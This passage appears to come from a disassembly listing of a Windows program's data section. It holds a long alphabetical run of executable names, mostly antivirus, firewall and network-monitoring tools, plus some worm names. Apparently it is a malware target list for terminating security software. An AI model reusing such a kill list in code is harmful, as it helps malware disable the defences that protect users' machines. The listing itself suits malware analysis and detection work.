aNetspyhunter1_	db 'NETSPYHUNTER-1.2.EXE',0 ; DATA XREF: .text:0042F26Co
		align 10h
aNetscanpro_exe	db 'NETSCANPRO.EXE',0   ; DATA XREF: .text:0042F268o
		align 10h
aNetmon_exe	db 'NETMON.EXE',0       ; DATA XREF: .text:0042F264o
		align 4
aNetinfo_exe	db 'NETINFO.EXE',0      ; DATA XREF: .text:0042F260o
aNetd32_exe	db 'NETD32.EXE',0       ; DATA XREF: .text:0042F25Co
		align 4
aNetarmor_exe	db 'NETARMOR.EXE',0     ; DATA XREF: .text:0042F258o
		align 4
aNeowatchlog_ex	db 'NEOWATCHLOG.EXE',0  ; DATA XREF: .text:0042F254o
aNeomonitor_exe	db 'NEOMONITOR.EXE',0   ; DATA XREF: .text:0042F250o
		align 4
aNdd32_exe	db 'NDD32.EXE',0        ; DATA XREF: .text:0042F24Co
		align 10h
aNcinst4_exe	db 'NCINST4.EXE',0      ; DATA XREF: .text:0042F248o
aNc2000_exe	db 'NC2000.EXE',0       ; DATA XREF: .text:0042F244o
		align 4
aNavwnt_exe	db 'NAVWNT.EXE',0       ; DATA XREF: .text:0042F240o
		align 4
aNavw32_exe	db 'NAVW32.EXE',0       ; DATA XREF: .text:0042F23Co
		align 10h
aNavstub_exe	db 'NAVSTUB.EXE',0      ; DATA XREF: .text:0042F238o
aNavnt_exe	db 'NAVNT.EXE',0        ; DATA XREF: .text:0042F234o
		align 4
aNavlu32_exe	db 'NAVLU32.EXE',0      ; DATA XREF: .text:0042F230o
aNavengnavex15_	db 'NAVENGNAVEX15.NAVLU32.EXE',0 ; DATA XREF: .text:0042F22Co
		align 10h
aNavdx_exe	db 'NAVDX.EXE',0        ; DATA XREF: .text:0042F228o
		align 4
aNavapw32_exe	db 'NAVAPW32.EXE',0     ; DATA XREF: .text:0042F224o
		align 4
aNavapsvc_exe	db 'NAVAPSVC.EXE',0     ; DATA XREF: .text:0042F220o
		align 4
aNavap_navapsvc	db 'NAVAP.NAVAPSVC.EXE',0 ; DATA XREF: .text:0042F21Co
		align 10h
aAutoProtect_na	db 'AUTO-PROTECT.NAV80TRY.EXE',0 ; DATA XREF: .text:0042F218o
		align 4
aNav_exe	db 'NAV.EXE',0          ; DATA XREF: .text:0042F214o
aN32scanw_exe	db 'N32SCANW.EXE',0     ; DATA XREF: .text:0042F210o
		align 4
aMwatch_exe	db 'MWATCH.EXE',0       ; DATA XREF: .text:0042F20Co
		align 10h
aMu0311ad_exe	db 'MU0311AD.EXE',0     ; DATA XREF: .text:0042F208o
		align 10h
aMsvxd_exe	db 'MSVXD.EXE',0        ; DATA XREF: .text:0042F204o
		align 4
aMssys_exe	db 'MSSYS.EXE',0        ; DATA XREF: .text:0042F200o
		align 4
aMssmmc32_exe	db 'MSSMMC32.EXE',0     ; DATA XREF: .text:0042F1FCo
		align 4
aMsmsgri32_exe	db 'MSMSGRI32.EXE',0    ; DATA XREF: .text:0042F1F8o
		align 4
aMsmgt_exe	db 'MSMGT.EXE',0        ; DATA XREF: .text:0042F1F4o
		align 4
aMslaugh_exe	db 'MSLAUGH.EXE',0      ; DATA XREF: .text:0042F1F0o
aMsinfo32_exe	db 'MSINFO32.EXE',0     ; DATA XREF: .text:0042F1ECo
		align 10h
aMsiexec16_exe	db 'MSIEXEC16.EXE',0    ; DATA XREF: .text:0042F1E8o
		align 10h
aMsdos_exe	db 'MSDOS.EXE',0        ; DATA XREF: .text:0042F1E4o
		align 4
aMsdm_exe	db 'MSDM.EXE',0         ; DATA XREF: .text:0042F1E0o
		align 4
aMsconfig_exe_0	db 'MSCONFIG.EXE',0     ; DATA XREF: .text:0042F1DCo
		align 4
aMscman_exe	db 'MSCMAN.EXE',0       ; DATA XREF: .text:0042F1D8o
		align 4
aMsccn32_exe	db 'MSCCN32.EXE',0      ; DATA XREF: .text:0042F1D4o
aMscache_exe	db 'MSCACHE.EXE',0      ; DATA XREF: .text:0042F1D0o
aMsblast_exe	db 'MSBLAST.EXE',0      ; DATA XREF: .text:0042F1CCo
aMsbb_exe	db 'MSBB.EXE',0         ; DATA XREF: .text:0042F1C8o
		align 4
aMsapp_exe	db 'MSAPP.EXE',0        ; DATA XREF: .text:0042F1C4o
		align 10h
aMrflux_exe	db 'MRFLUX.EXE',0       ; DATA XREF: .text:0042F1C0o
		align 4
aMpftray_exe	db 'MPFTRAY.EXE',0      ; DATA XREF: .text:0042F1BCo
aMpfservice_exe	db 'MPFSERVICE.EXE',0   ; DATA XREF: .text:0042F1B8o
		align 4
aMpfagent_exe	db 'MPFAGENT.EXE',0     ; DATA XREF: .text:0042F1B4o
		align 4
aMostat_exe	db 'MOSTAT.EXE',0       ; DATA XREF: .text:0042F1B0o
		align 4
aMoolive_exe	db 'MOOLIVE.EXE',0      ; DATA XREF: .text:0042F1ACo
aMonitor_exe	db 'MONITOR.EXE',0      ; DATA XREF: .text:0042F1A8o
aMmod_exe	db 'MMOD.EXE',0         ; DATA XREF: .text:0042F1A4o
		align 4
aMinilog_exe	db 'MINILOG.EXE',0      ; DATA XREF: .text:0042F1A0o
aMgui_exe	db 'MGUI.EXE',0         ; DATA XREF: .text:0042F19Co
		align 10h
aMghtml_exe	db 'MGHTML.EXE',0       ; DATA XREF: .text:0042F198o
		align 4
aMgavrte_exe	db 'MGAVRTE.EXE',0      ; DATA XREF: .text:0042F194o
aMgavrtcl_exe	db 'MGAVRTCL.EXE',0     ; DATA XREF: .text:0042F190o
		align 4
aMfweng3_02d30_	db 'MFWENG3.02D30.EXE',0 ; DATA XREF: .text:0042F18Co
		align 4
aMfw2en_exe	db 'MFW2EN.EXE',0       ; DATA XREF: .text:0042F188o
		align 4
aMfin32_exe	db 'MFIN32.EXE',0       ; DATA XREF: .text:0042F184o
		align 4
aMd_exe		db 'MD.EXE',0           ; DATA XREF: .text:0042F180o
		align 4
aMcvsshld_exe	db 'MCVSSHLD.EXE',0     ; DATA XREF: .text:0042F17Co
		align 4
aMcvsrte_exe	db 'MCVSRTE.EXE',0      ; DATA XREF: .text:0042F178o
aMcupdate_exe	db 'MCUPDATE.EXE',0     ; DATA XREF: .text:0042F170o
					; .text:0042F174o
		align 4
aMctool_exe	db 'MCTOOL.EXE',0       ; DATA XREF: .text:0042F16Co
		align 4
aMcshield_exe	db 'MCSHIELD.EXE',0     ; DATA XREF: .text:0042F168o
		align 4
aMcmnhdlr_exe	db 'MCMNHDLR.EXE',0     ; DATA XREF: .text:0042F164o
		align 4
aMcagent_exe	db 'MCAGENT.EXE',0      ; DATA XREF: .text:0042F160o
aMapisvc32_exe	db 'MAPISVC32.EXE',0    ; DATA XREF: .text:0042F15Co
		align 10h
aLuspt_exe	db 'LUSPT.EXE',0        ; DATA XREF: .text:0042F158o
		align 4
aLuinit_exe	db 'LUINIT.EXE',0       ; DATA XREF: .text:0042F154o
		align 4
aLucomserver_ex	db 'LUCOMSERVER.EXE',0  ; DATA XREF: .text:0042F150o
aLuau_exe	db 'LUAU.EXE',0         ; DATA XREF: .text:0042F14Co
		align 4
aLuall_exe	db 'LUALL.EXE',0        ; DATA XREF: .text:0042F144o
					; .text:0042F148o
		align 10h
aLsetup_exe	db 'LSETUP.EXE',0       ; DATA XREF: .text:0042F140o
		align 4
aLordpe_exe	db 'LORDPE.EXE',0       ; DATA XREF: .text:0042F13Co
		align 4
aLookout_exe	db 'LOOKOUT.EXE',0      ; DATA XREF: .text:0042F138o
aLockdown2000_e	db 'LOCKDOWN2000.EXE',0 ; DATA XREF: .text:0042F134o
		align 4
aLockdown_exe	db 'LOCKDOWN.EXE',0     ; DATA XREF: .text:0042F130o
		align 4
aLocalnet_exe	db 'LOCALNET.EXE',0     ; DATA XREF: .text:0042F12Co
		align 4
aLoader_exe	db 'LOADER.EXE',0       ; DATA XREF: .text:0042F128o
		align 4
aLnetinfo_exe	db 'LNETINFO.EXE',0     ; DATA XREF: .text:0042F124o
		align 4
aLdscan_exe	db 'LDSCAN.EXE',0       ; DATA XREF: .text:0042F120o
		align 10h
aLdpromenu_exe	db 'LDPROMENU.EXE',0    ; DATA XREF: .text:0042F11Co
		align 10h
aLdpro_exe	db 'LDPRO.EXE',0        ; DATA XREF: .text:0042F118o
		align 4
aLdnetmon_exe	db 'LDNETMON.EXE',0     ; DATA XREF: .text:0042F114o
		align 4
aLauncher_exe	db 'LAUNCHER.EXE',0     ; DATA XREF: .text:0042F110o
		align 4
aKillprocessset	db 'KILLPROCESSSETUP161.EXE',0 ; DATA XREF: .text:0042F10Co
aKernel32_exe	db 'KERNEL32.EXE',0     ; DATA XREF: .text:0042F108o
		align 4
aKerioWrp421EnW	db 'KERIO-WRP-421-EN-WIN.EXE',0 ; DATA XREF: .text:0042F104o
		align 10h
aKerioWrl421EnW	db 'KERIO-WRL-421-EN-WIN.EXE',0 ; DATA XREF: .text:0042F100o
		align 4
aKerioPf213EnWi	db 'KERIO-PF-213-EN-WIN.EXE',0 ; DATA XREF: .text:0042F0FCo
aKeenvalue_exe	db 'KEENVALUE.EXE',0    ; DATA XREF: .text:0042F0F8o
		align 4
aKazza_exe	db 'KAZZA.EXE',0        ; DATA XREF: .text:0042F0F4o
		align 10h
aKavpf_exe	db 'KAVPF.EXE',0        ; DATA XREF: .text:0042F0F0o
		align 4
aKavpers40eng_e	db 'KAVPERS40ENG.EXE',0 ; DATA XREF: .text:0042F0ECo
		align 10h
aKavlite40eng_e	db 'KAVLITE40ENG.EXE',0 ; DATA XREF: .text:0042F0E8o
		align 4
aJedi_exe	db 'JEDI.EXE',0         ; DATA XREF: .text:0042F0E4o
		align 10h
aJdbgmrg_exe	db 'JDBGMRG.EXE',0      ; DATA XREF: .text:0042F0E0o
aJammer_exe	db 'JAMMER.EXE',0       ; DATA XREF: .text:0042F0DCo
		align 4
aIstsvc_exe	db 'ISTSVC.EXE',0       ; DATA XREF: .text:0042F0D8o
		align 4
aIsrv95_exe	db 'ISRV95.EXE',0       ; DATA XREF: .text:0042F0D4o
		align 10h
aIsass_exe	db 'ISASS.EXE',0        ; DATA XREF: .text:0042F0D0o
		align 4
aIris_exe	db 'IRIS.EXE',0         ; DATA XREF: .text:0042F0CCo
		align 4
aIparmor_exe	db 'IPARMOR.EXE',0      ; DATA XREF: .text:0042F0C8o
aIomon98_exe	db 'IOMON98.EXE',0      ; DATA XREF: .text:0042F0C4o
aIntren_exe	db 'INTREN.EXE',0       ; DATA XREF: .text:0042F0C0o
		align 4
aIntdel_exe	db 'INTDEL.EXE',0       ; DATA XREF: .text:0042F0BCo
		align 4
aInit_exe	db 'INIT.EXE',0         ; DATA XREF: .text:0042F0B8o
		align 4
aInfwin_exe	db 'INFWIN.EXE',0       ; DATA XREF: .text:0042F0B4o
		align 10h
aInfus_exe	db 'INFUS.EXE',0        ; DATA XREF: .text:0042F0B0o
		align 4
aInetlnfo_exe	db 'INETLNFO.EXE',0     ; DATA XREF: .text:0042F0ACo
		align 4
aIfw2000_exe	db 'IFW2000.EXE',0      ; DATA XREF: .text:0042F0A8o
aIface_exe	db 'IFACE.EXE',0        ; DATA XREF: .text:0042F0A4o
		align 4
aIexplorer_exe	db 'IEXPLORER.EXE',0    ; DATA XREF: .text:0042F0A0o
		align 4
aIedriver_exe	db 'IEDRIVER.EXE',0     ; DATA XREF: .text:0042F09Co
		align 4
aIedll_exe	db 'IEDLL.EXE',0        ; DATA XREF: .text:0042F098o
		align 10h
aIdle_exe	db 'IDLE.EXE',0         ; DATA XREF: .text:0042F094o
		align 4
aIcsuppnt_exe	db 'ICSUPPNT.EXE',0     ; DATA XREF: .text:0042F090o
		align 4
aIcsupp95_exe	db 'ICSUPP95.EXE',0     ; DATA XREF: .text:0042F088o
					; .text:0042F08Co
		align 4
aIcmon_exe	db 'ICMON.EXE',0        ; DATA XREF: .text:0042F084o
		align 4
aIcloadnt_exe	db 'ICLOADNT.EXE',0     ; DATA XREF: .text:0042F080o
		align 4
aIcload95_exe	db 'ICLOAD95.EXE',0     ; DATA XREF: .text:0042F07Co
		align 4
aIbmavsp_exe	db 'IBMAVSP.EXE',0      ; DATA XREF: .text:0042F078o
aIbmasn_exe	db 'IBMASN.EXE',0       ; DATA XREF: .text:0042F074o
		align 10h
aIamstats_exe	db 'IAMSTATS.EXE',0     ; DATA XREF: .text:0042F070o
		align 10h
aIamserv_exe	db 'IAMSERV.EXE',0      ; DATA XREF: .text:0042F06Co
aIamapp_exe	db 'IAMAPP.EXE',0       ; DATA XREF: .text:0042F068o
		align 4
aHxiul_exe	db 'HXIUL.EXE',0        ; DATA XREF: .text:0042F064o
		align 4
aHxdl_exe	db 'HXDL.EXE',0         ; DATA XREF: .text:0042F060o
		align 10h
aHwpe_exe	db 'HWPE.EXE',0         ; DATA XREF: .text:0042F05Co
		align 4
aHtpatch_exe	db 'HTPATCH.EXE',0      ; DATA XREF: .text:0042F058o
aHtlog_exe	db 'HTLOG.EXE',0        ; DATA XREF: .text:0042F054o
		align 4
aHotpatch_exe	db 'HOTPATCH.EXE',0     ; DATA XREF: .text:0042F050o
		align 4
aHotactio_exe	db 'HOTACTIO.EXE',0     ; DATA XREF: .text:0042F04Co
		align 4
aHbsrv_exe	db 'HBSRV.EXE',0        ; DATA XREF: .text:0042F048o
		align 10h
aHbinst_exe	db 'HBINST.EXE',0       ; DATA XREF: .text:0042F044o
		align 4
aHacktracersetu	db 'HACKTRACERSETUP.EXE',0 ; DATA XREF: .text:0042F040o
aGuarddog_exe	db 'GUARDDOG.EXE',0     ; DATA XREF: .text:0042F03Co
		align 10h
aGuard_exe	db 'GUARD.EXE',0        ; DATA XREF: .text:0042F038o
		align 4
aGmt_exe	db 'GMT.EXE',0          ; DATA XREF: .text:0042F034o
aGenerics_exe	db 'GENERICS.EXE',0     ; DATA XREF: .text:0042F030o
		align 4
aGbpoll_exe	db 'GBPOLL.EXE',0       ; DATA XREF: .text:0042F02Co
		align 10h
aGbmenu_exe	db 'GBMENU.EXE',0       ; DATA XREF: .text:0042F028o
		align 4
aGator_exe	db 'GATOR.EXE',0        ; DATA XREF: .text:0042F024o
		align 4
aFsmb32_exe	db 'FSMB32.EXE',0       ; DATA XREF: .text:0042F020o
		align 4
aFsma32_exe	db 'FSMA32.EXE',0       ; DATA XREF: .text:0042F01Co
		align 10h
aFsm32_exe	db 'FSM32.EXE',0        ; DATA XREF: .text:0042F018o
		align 4
aFsgk32_exe	db 'FSGK32.EXE',0       ; DATA XREF: .text:0042F014o
		align 4
aFsav95_exe	db 'FSAV95.EXE',0       ; DATA XREF: .text:0042F010o
		align 4
aFsav530wtbyb_e	db 'FSAV530WTBYB.EXE',0 ; DATA XREF: .text:0042F00Co
		align 4
aFsav530stbyb_e	db 'FSAV530STBYB.EXE',0 ; DATA XREF: .text:0042F008o
		align 4
aFsav32_exe	db 'FSAV32.EXE',0       ; DATA XREF: .text:0042F004o
		align 4
aFsav_exe	db 'FSAV.EXE',0         ; DATA XREF: .text:0042F000o
		align 4
aFsaa_exe	db 'FSAA.EXE',0         ; DATA XREF: .text:0042EFFCo
		align 10h
aFrw_exe	db 'FRW.EXE',0          ; DATA XREF: .text:0042EFF8o
aFprot_exe	db 'FPROT.EXE',0        ; DATA XREF: .text:0042EFF4o
		align 4
aFpWin_trial_ex	db 'FP-WIN_TRIAL.EXE',0 ; DATA XREF: .text:0042EFF0o
		align 4
aFpWin_exe	db 'FP-WIN.EXE',0       ; DATA XREF: .text:0042EFECo
		align 4
aFnrb32_exe	db 'FNRB32.EXE',0       ; DATA XREF: .text:0042EFE8o
		align 10h
aFlowprotector_	db 'FLOWPROTECTOR.EXE',0 ; DATA XREF: .text:0042EFE4o
		align 4
aFirewall_exe	db 'FIREWALL.EXE',0     ; DATA XREF: .text:0042EFE0o
		align 4
aFindviru_exe	db 'FINDVIRU.EXE',0     ; DATA XREF: .text:0042EFDCo
		align 4
aFih32_exe	db 'FIH32.EXE',0        ; DATA XREF: .text:0042EFD8o
		align 10h
aFch32_exe	db 'FCH32.EXE',0        ; DATA XREF: .text:0042EFD4o
		align 4
aFast_exe	db 'FAST.EXE',0         ; DATA XREF: .text:0042EFD0o
		align 4
aFameh32_exe	db 'FAMEH32.EXE',0      ; DATA XREF: .text:0042EFCCo
aFStopw_exe	db 'F-STOPW.EXE',0      ; DATA XREF: .text:0042EFC8o
aFProt95_exe	db 'F-PROT95.EXE',0     ; DATA XREF: .text:0042EFC4o
		align 10h
aFProt_exe	db 'F-PROT.EXE',0       ; DATA XREF: .text:0042EFC0o
		align 4
aFAgnt95_exe	db 'F-AGNT95.EXE',0     ; DATA XREF: .text:0042EFBCo
		align 4
aExplore_exe	db 'EXPLORE.EXE',0      ; DATA XREF: .text:0042EFB8o
aExpert_exe	db 'EXPERT.EXE',0       ; DATA XREF: .text:0042EFB4o
		align 4
aExe_avxw_exe	db 'EXE.AVXW.EXE',0     ; DATA XREF: .text:0042EFB0o
		align 4
aExantivirusCne	db 'EXANTIVIRUS-CNET.EXE',0 ; DATA XREF: .text:0042EFACo
		align 4
aEvpn_exe	db 'EVPN.EXE',0         ; DATA XREF: .text:0042EFA8o
		align 4
aEtrustcipe_exe	db 'ETRUSTCIPE.EXE',0   ; DATA XREF: .text:0042EFA4o
		align 4
aEthereal_exe	db 'ETHEREAL.EXE',0     ; DATA XREF: .text:0042EFA0o
		align 4
aEspwatch_exe	db 'ESPWATCH.EXE',0     ; DATA XREF: .text:0042EF9Co
		align 4
aEscanv95_exe	db 'ESCANV95.EXE',0     ; DATA XREF: .text:0042EF98o
		align 4
aEscanhnt_exe	db 'ESCANHNT.EXE',0     ; DATA XREF: .text:0042EF94o
		align 4
aEscanh95_exe	db 'ESCANH95.EXE',0     ; DATA XREF: .text:0042EF90o
		align 4
aEsafe_exe	db 'ESAFE.EXE',0        ; DATA XREF: .text:0042EF8Co
		align 4
aEnt_exe	db 'ENT.EXE',0          ; DATA XREF: .text:0042EF88o
aEmsw_exe	db 'EMSW.EXE',0         ; DATA XREF: .text:0042EF84o
		align 4
aEfpeadm_exe	db 'EFPEADM.EXE',0      ; DATA XREF: .text:0042EF80o
aEcengine_exe	db 'ECENGINE.EXE',0     ; DATA XREF: .text:0042EF7Co
		align 4
aDvp95_0_exe	db 'DVP95_0.EXE',0      ; DATA XREF: .text:0042EF78o
aDvp95_exe	db 'DVP95.EXE',0        ; DATA XREF: .text:0042EF74o
		align 4
aDssagent_exe	db 'DSSAGENT.EXE',0     ; DATA XREF: .text:0042EF70o
		align 4
aDrwebupw_exe	db 'DRWEBUPW.EXE',0     ; DATA XREF: .text:0042EF6Co
		align 4
aDrweb32_exe	db 'DRWEB32.EXE',0      ; DATA XREF: .text:0042EF68o
aDrwatson_exe	db 'DRWATSON.EXE',0     ; DATA XREF: .text:0042EF64o
		align 4
aDpps2_exe	db 'DPPS2.EXE',0        ; DATA XREF: .text:0042EF60o
		align 4
aDpfsetup_exe	db 'DPFSETUP.EXE',0     ; DATA XREF: .text:0042EF5Co
		align 4
aDpf_exe	db 'DPF.EXE',0          ; DATA XREF: .text:0042EF58o
aDoors_exe	db 'DOORS.EXE',0        ; DATA XREF: .text:0042EF54o
		align 4
aDllreg_exe	db 'DLLREG.EXE',0       ; DATA XREF: .text:0042EF50o
		align 4
aDllcache_exe	db 'DLLCACHE.EXE',0     ; DATA XREF: .text:0042EF4Co
		align 4
aDivx_exe	db 'DIVX.EXE',0         ; DATA XREF: .text:0042EF48o
		align 10h
aDeputy_exe	db 'DEPUTY.EXE',0       ; DATA XREF: .text:0042EF44o
		align 4
aDefwatch_exe	db 'DEFWATCH.EXE',0     ; DATA XREF: .text:0042EF40o
		align 4
aDefscangui_exe	db 'DEFSCANGUI.EXE',0   ; DATA XREF: .text:0042EF3Co
		align 4
aDefalert_exe	db 'DEFALERT.EXE',0     ; DATA XREF: .text:0042EF38o
		align 4
aDcomx_exe	db 'DCOMX.EXE',0        ; DATA XREF: .text:0042EF34o
		align 4
aDatemanager_ex	db 'DATEMANAGER.EXE',0  ; DATA XREF: .text:0042EF30o
aClaw95_exe	db 'Claw95.EXE',0       ; DATA XREF: .text:0042EF28o
		align 4
aCwntdwmo_exe	db 'CWNTDWMO.EXE',0     ; DATA XREF: .text:0042EF24o
		align 4
aCwnb181_exe	db 'CWNB181.EXE',0      ; DATA XREF: .text:0042EF20o
aCv_exe		db 'CV.EXE',0           ; DATA XREF: .text:0042EF1Co
		align 4
aCtrl_exe	db 'CTRL.EXE',0         ; DATA XREF: .text:0042EF18o
		align 4
aCpfnt206_exe	db 'CPFNT206.EXE',0     ; DATA XREF: .text:0042EF14o
		align 4
aCpf9x206_exe	db 'CPF9X206.EXE',0     ; DATA XREF: .text:0042EF10o
		align 4
aCpd_exe	db 'CPD.EXE',0          ; DATA XREF: .text:0042EF0Co
aConnectionmoni	db 'CONNECTIONMONITOR.EXE',0 ; DATA XREF: .text:0042EF08o
		align 4
aCmon016_exe	db 'CMON016.EXE',0      ; DATA XREF: .text:0042EF04o
aCmgrdian_exe	db 'CMGRDIAN.EXE',0     ; DATA XREF: .text:0042EF00o
		align 10h
aCmesys_exe	db 'CMESYS.EXE',0       ; DATA XREF: .text:0042EEFCo
		align 4
aCmd32_exe	db 'CMD32.EXE',0        ; DATA XREF: .text:0042EEF8o
		align 4
aClick_exe	db 'CLICK.EXE',0        ; DATA XREF: .text:0042EEF4o
		align 4
aCleanpc_exe	db 'CLEANPC.EXE',0      ; DATA XREF: .text:0042EEF0o
aCleaner3_exe	db 'CLEANER3.EXE',0     ; DATA XREF: .text:0042EEECo
		align 10h
aCleaner_exe	db 'CLEANER.EXE',0      ; DATA XREF: .text:0042EEE8o
aClean_exe	db 'CLEAN.EXE',0        ; DATA XREF: .text:0042EEE4o
		align 4
aClaw95cf_exe	db 'CLAW95CF.EXE',0     ; DATA XREF: .text:0042EEE0o
					; .text:0042EF2Co
		align 4
aCfinet32_exe	db 'CFINET32.EXE',0     ; DATA XREF: .text:0042EEDCo
		align 4
aCfinet_exe	db 'CFINET.EXE',0       ; DATA XREF: .text:0042EED8o
		align 4
aCfiaudit_exe	db 'CFIAUDIT.EXE',0     ; DATA XREF: .text:0042EED0o
					; .text:0042EED4o
		align 4
aCfiadmin_exe	db 'CFIADMIN.EXE',0     ; DATA XREF: .text:0042EECCo
		align 4
aCfgwiz_exe	db 'CFGWIZ.EXE',0       ; DATA XREF: .text:0042EEC8o
		align 10h
aCfd_exe	db 'CFD.EXE',0          ; DATA XREF: .text:0042EEC4o
aCdp_exe	db 'CDP.EXE',0          ; DATA XREF: .text:0042EEC0o
aCcpxysvc_exe	db 'CCPXYSVC.EXE',0     ; DATA XREF: .text:0042EEBCo
		align 10h
aCcevtmgr_exe	db 'CCEVTMGR.EXE',0     ; DATA XREF: .text:0042EEB8o
		align 10h
aCcapp_exe	db 'CCAPP.EXE',0        ; DATA XREF: .text:0042EEB4o
		align 4
aBvt_exe	db 'BVT.EXE',0          ; DATA XREF: .text:0042EEB0o
aBundle_exe	db 'BUNDLE.EXE',0       ; DATA XREF: .text:0042EEACo
		align 10h
aBs120_exe	db 'BS120.EXE',0        ; DATA XREF: .text:0042EEA8o
		align 4
aBrasil_exe	db 'BRASIL.EXE',0       ; DATA XREF: .text:0042EEA4o
		align 4
aBpc_exe	db 'BPC.EXE',0          ; DATA XREF: .text:0042EEA0o
aBorg2_exe	db 'BORG2.EXE',0        ; DATA XREF: .text:0042EE9Co
		align 4
aBootwarn_exe	db 'BOOTWARN.EXE',0     ; DATA XREF: .text:0042EE98o
		align 4
aBootconf_exe	db 'BOOTCONF.EXE',0     ; DATA XREF: .text:0042EE94o
		align 4
aBlss_exe	db 'BLSS.EXE',0         ; DATA XREF: .text:0042EE90o
		align 4
aBlackice_exe	db 'BLACKICE.EXE',0     ; DATA XREF: .text:0042EE8Co
		align 4
aBlackd_exe	db 'BLACKD.EXE',0       ; DATA XREF: .text:0042EE88o
		align 4
aBisp_exe	db 'BISP.EXE',0         ; DATA XREF: .text:0042EE84o
		align 10h
aBipcpevalsetup	db 'BIPCPEVALSETUP.EXE',0 ; DATA XREF: .text:0042EE80o
		align 4
aBipcp_exe	db 'BIPCP.EXE',0        ; DATA XREF: .text:0042EE7Co
		align 10h
aBidserver_exe	db 'BIDSERVER.EXE',0    ; DATA XREF: .text:0042EE78o
		align 10h
aBidef_exe	db 'BIDEF.EXE',0        ; DATA XREF: .text:0042EE74o
		align 4
aBelt_exe	db 'BELT.EXE',0         ; DATA XREF: .text:0042EE70o
		align 4
aBeagle_exe	db 'BEAGLE.EXE',0       ; DATA XREF: .text:0042EE6Co
		align 4
aBd_professiona	db 'BD_PROFESSIONAL.EXE',0 ; DATA XREF: .text:0042EE68o
aBargains_exe	db 'BARGAINS.EXE',0     ; DATA XREF: .text:0042EE64o
		align 4
aBackweb_exe	db 'BACKWEB.EXE',0      ; DATA XREF: .text:0042EE60o
aAvxquar_exe	db 'AVXQUAR.EXE',0      ; DATA XREF: .text:0042EE58o
					; .text:0042EE5Co
aAvxmonitornt_e	db 'AVXMONITORNT.EXE',0 ; DATA XREF: .text:0042EE54o
		align 4
aAvxmonitor9x_e	db 'AVXMONITOR9X.EXE',0 ; DATA XREF: .text:0042EE50o
		align 4
aAvwupsrv_exe	db 'AVWUPSRV.EXE',0     ; DATA XREF: .text:0042EE4Co
		align 4
aAvwupd32_exe	db 'AVWUPD32.EXE',0     ; DATA XREF: .text:0042EE44o
					; .text:0042EE48o
		align 4
aAvwupd_exe	db 'AVWUPD.EXE',0       ; DATA XREF: .text:0042EE40o
		align 4
aAvwinnt_exe	db 'AVWINNT.EXE',0      ; DATA XREF: .text:0042EE3Co
aAvwin95_exe	db 'AVWIN95.EXE',0      ; DATA XREF: .text:0042EE38o
aAvsynmgr_exe	db 'AVSYNMGR.EXE',0     ; DATA XREF: .text:0042EE34o
		align 4
aAvsched32_exe	db 'AVSCHED32.EXE',0    ; DATA XREF: .text:0042EE30o
		align 4
aAvpupd_exe	db 'AVPUPD.EXE',0       ; DATA XREF: .text:0042EE28o
					; .text:0042EE2Co
		align 4
aAvptc32_exe	db 'AVPTC32.EXE',0      ; DATA XREF: .text:0042EE24o
aAvpm_exe	db 'AVPM.EXE',0         ; DATA XREF: .text:0042EE20o
		align 10h
aAvpdos32_exe	db 'AVPDOS32.EXE',0     ; DATA XREF: .text:0042EE1Co
		align 10h
aAvpcc_exe	db 'AVPCC.EXE',0        ; DATA XREF: .text:0042EE18o
		align 4
aAvp32_exe	db 'AVP32.EXE',0        ; DATA XREF: .text:0042EE14o
		align 4
aAvp_exe	db 'AVP.EXE',0          ; DATA XREF: .text:0042EE10o
aAvnt_exe	db 'AVNT.EXE',0         ; DATA XREF: .text:0042EE0Co
		align 4
aAvltmain_exe	db 'AVLTMAIN.EXE',0     ; DATA XREF: .text:0042EE08o
		align 4
aAvkwctl9_exe	db 'AVKWCTl9.EXE',0     ; DATA XREF: .text:0042EE04o
		align 4
aAvkservice_exe	db 'AVKSERVICE.EXE',0   ; DATA XREF: .text:0042EE00o
		align 4
aAvkserv_exe	db 'AVKSERV.EXE',0      ; DATA XREF: .text:0042EDFCo
aAvkpop_exe	db 'AVKPOP.EXE',0       ; DATA XREF: .text:0042EDF8o
		align 4
aAvgw_exe	db 'AVGW.EXE',0         ; DATA XREF: .text:0042EDF4o
		align 10h
aAvguard_exe	db 'AVGUARD.EXE',0      ; DATA XREF: .text:0042EDF0o
aAvgserv9_exe	db 'AVGSERV9.EXE',0     ; DATA XREF: .text:0042EDECo
		align 4
aAvgserv_exe	db 'AVGSERV.EXE',0      ; DATA XREF: .text:0042EDE8o
aAvgnt_exe	db 'AVGNT.EXE',0        ; DATA XREF: .text:0042EDE4o
		align 4
aAvgctrl_exe	db 'AVGCTRL.EXE',0      ; DATA XREF: .text:0042EDE0o
aAvgcc32_exe	db 'AVGCC32.EXE',0      ; DATA XREF: .text:0042EDDCo
aAve32_exe	db 'AVE32.EXE',0        ; DATA XREF: .text:0042EDD8o
		align 4
aAvconsol_exe	db 'AVCONSOL.EXE',0     ; DATA XREF: .text:0042EDD4o
		align 4
aAutoupdate_exe	db 'AUTOUPDATE.EXE',0   ; DATA XREF: .text:0042EDD0o
		align 4
aAutotrace_exe	db 'AUTOTRACE.EXE',0    ; DATA XREF: .text:0042EDCCo
		align 4
aAutodown_exe	db 'AUTODOWN.EXE',0     ; DATA XREF: .text:0042EDC8o
		align 4
aAupdate_exe	db 'AUPDATE.EXE',0      ; DATA XREF: .text:0042EDC4o
aAu_exe		db 'AU.EXE',0           ; DATA XREF: .text:0042EDC0o
		align 4
aAtwatch_exe	db 'ATWATCH.EXE',0      ; DATA XREF: .text:0042EDBCo
aAtupdater_exe	db 'ATUPDATER.EXE',0    ; DATA XREF: .text:0042EDB4o
					; .text:0042EDB8o
		align 4
aAtro55en_exe	db 'ATRO55EN.EXE',0     ; DATA XREF: .text:0042EDB0o
		align 4
aAtguard_exe	db 'ATGUARD.EXE',0      ; DATA XREF: .text:0042EDACo
aAtcon_exe	db 'ATCON.EXE',0        ; DATA XREF: .text:0042EDA8o
		align 10h
aArr_exe	db 'ARR.EXE',0          ; DATA XREF: .text:0042EDA4o
aApvxdwin_exe	db 'APVXDWIN.EXE',0     ; DATA XREF: .text:0042EDA0o
		align 4
aAplica32_exe	db 'APLICA32.EXE',0     ; DATA XREF: .text:0042ED9Co
		align 4
aApimonitor_exe	db 'APIMONITOR.EXE',0   ; DATA XREF: .text:0042ED98o
		align 4
aAnts_exe	db 'ANTS.EXE',0         ; DATA XREF: .text:0042ED94o
		align 4
aAntivirus_exe	db 'ANTIVIRUS.EXE',0    ; DATA XREF: .text:0042ED90o
		align 4
aAntiTrojan_exe	db 'ANTI-TROJAN.EXE',0  ; DATA XREF: .text:0042ED8Co
